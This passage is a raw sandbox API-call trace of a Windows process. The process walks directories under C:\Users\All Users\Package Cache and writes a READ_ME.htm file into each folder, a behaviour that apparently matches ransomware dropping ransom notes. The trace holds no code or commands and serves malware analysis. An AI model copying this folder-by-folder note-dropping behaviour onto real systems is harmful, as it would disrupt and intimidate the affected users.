ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.207] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.207] SetErrorMode (uMode=0x0) returned 0x1 [0142.207] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages", lpFilePart=0x0) returned 0x5c [0142.207] SetErrorMode (uMode=0x1) returned 0x0 [0142.207] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fdf5ac0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdf5ac0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.208] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.208] SetErrorMode (uMode=0x0) returned 0x1 [0142.208] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages", lpFilePart=0x0) returned 0x5c [0142.208] SetErrorMode (uMode=0x1) returned 0x0 [0142.208] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fdf5ac0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdf5ac0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.208] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.208] SetErrorMode (uMode=0x0) returned 0x1 [0142.208] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x71 [0142.208] SetErrorMode (uMode=0x1) returned 0x0 [0142.209] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86\\*" (normalized: "c:\\users\\all users\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\packages\\vcruntimeminimum_x86\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fdf5ac0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdf5ac0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.209] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.209] SetErrorMode (uMode=0x0) returned 0x1 [0142.209] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x71 [0142.209] SetErrorMode (uMode=0x1) returned 0x0 [0142.209] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86\\*" (normalized: "c:\\users\\all users\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\packages\\vcruntimeminimum_x86\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fdf5ac0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdf5ac0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.209] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.209] SetErrorMode (uMode=0x0) returned 0x1 [0142.210] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86\\READ_ME.htm", lpFilePart=0x0) returned 0x7d [0142.210] SetErrorMode (uMode=0x1) returned 0x0 [0142.211] SetErrorMode (uMode=0x0) returned 0x1 [0142.211] GetFileType (hFile=0x1d0) returned 0x1 [0142.211] WriteFile (in: hFile=0x1d0, lpBuffer=0x282ce00*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x282ce00*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0142.212] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x68 [0142.212] SetErrorMode (uMode=0x1) returned 0x0 [0142.213] SetErrorMode (uMode=0x0) returned 0x1 [0142.213] GetFileType (hFile=0x1d0) returned 0x1 [0142.213] WriteFile (in: hFile=0x1d0, lpBuffer=0x2831470*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2831470*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.214] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\READ_ME.htm", lpFilePart=0x0) returned 0x5f [0142.215] SetErrorMode (uMode=0x1) returned 0x0 [0142.215] SetErrorMode (uMode=0x0) returned 0x1 [0142.216] GetFileType (hFile=0x1d0) returned 0x1 [0142.216] WriteFile (in: hFile=0x1d0, lpBuffer=0x2835ab0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2835ab0*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.217] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpFilePart=0x0) returned 0x47 [0142.217] SetErrorMode (uMode=0x1) returned 0x0 [0142.217] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fe1bc20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe1bc20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.217] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.217] SetErrorMode (uMode=0x0) returned 0x1 [0142.217] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpFilePart=0x0) returned 0x47 [0142.218] SetErrorMode (uMode=0x1) returned 0x0 [0142.218] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fe1bc20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe1bc20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.218] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.218] SetErrorMode (uMode=0x0) returned 0x1 [0142.218] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\READ_ME.htm", lpFilePart=0x0) returned 0x53 [0142.218] SetErrorMode (uMode=0x1) returned 0x0 [0142.219] SetErrorMode (uMode=0x0) returned 0x1 [0142.219] GetFileType (hFile=0x1d0) returned 0x1 [0142.219] WriteFile (in: hFile=0x1d0, lpBuffer=0x283c400*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x283c400*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.220] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpFilePart=0x0) returned 0x52 [0142.220] SetErrorMode (uMode=0x1) returned 0x0 [0142.220] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88fe1470, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fe41d80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe41d80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.221] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.221] SetErrorMode (uMode=0x0) returned 0x1 [0142.221] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpFilePart=0x0) returned 0x52 [0142.221] SetErrorMode (uMode=0x1) returned 0x0 [0142.221] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88fe1470, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fe41d80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe41d80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.221] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.221] SetErrorMode (uMode=0x0) returned 0x1 [0142.222] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0142.222] SetErrorMode (uMode=0x1) returned 0x0 [0142.222] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fe41d80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe41d80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.222] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.222] SetErrorMode (uMode=0x0) returned 0x1 [0142.222] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0142.222] SetErrorMode (uMode=0x1) returned 0x0 [0142.223] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fe41d80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe41d80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.223] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.223] SetErrorMode (uMode=0x0) returned 0x1 [0142.223] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x75 [0142.223] SetErrorMode (uMode=0x1) returned 0x0 [0142.223] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fe41d80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe41d80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.223] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.223] SetErrorMode (uMode=0x0) returned 0x1 [0142.224] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x75 [0142.224] SetErrorMode (uMode=0x1) returned 0x0 [0142.224] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x890075d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fe41d80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe41d80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.224] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.224] SetErrorMode (uMode=0x0) returned 0x1 [0142.224] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\READ_ME.htm", lpFilePart=0x0) returned 0x81 [0142.224] SetErrorMode (uMode=0x1) returned 0x0 [0142.225] SetErrorMode (uMode=0x0) returned 0x1 [0142.225] GetFileType (hFile=0x1d0) returned 0x1 [0142.225] WriteFile (in: hFile=0x1d0, lpBuffer=0x2847f38*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2847f38*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0142.227] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x67 [0142.227] SetErrorMode (uMode=0x1) returned 0x0 [0142.227] SetErrorMode (uMode=0x0) returned 0x1 [0142.227] GetFileType (hFile=0x1d0) returned 0x1 [0142.227] WriteFile (in: hFile=0x1d0, lpBuffer=0x284c598*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x284c598*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.228] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\READ_ME.htm", lpFilePart=0x0) returned 0x5e [0142.228] SetErrorMode (uMode=0x1) returned 0x0 [0142.228] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.230] SetErrorMode (uMode=0x0) returned 0x1 [0142.230] GetFileType (hFile=0x1d0) returned 0x1 [0142.230] WriteFile (in: hFile=0x1d0, lpBuffer=0x2850bd8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2850bd8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.231] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpFilePart=0x0) returned 0x47 [0142.231] SetErrorMode (uMode=0x1) returned 0x0 [0142.231] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x201660b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe41d80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe41d80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.232] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.232] SetErrorMode (uMode=0x0) returned 0x1 [0142.232] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpFilePart=0x0) returned 0x47 [0142.232] SetErrorMode (uMode=0x1) returned 0x0 [0142.232] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x201660b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe41d80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe41d80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.232] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.232] SetErrorMode (uMode=0x0) returned 0x1 [0142.232] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\READ_ME.htm", lpFilePart=0x0) returned 0x53 [0142.233] SetErrorMode (uMode=0x1) returned 0x0 [0142.233] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.234] SetErrorMode (uMode=0x0) returned 0x1 [0142.234] GetFileType (hFile=0x1d0) returned 0x1 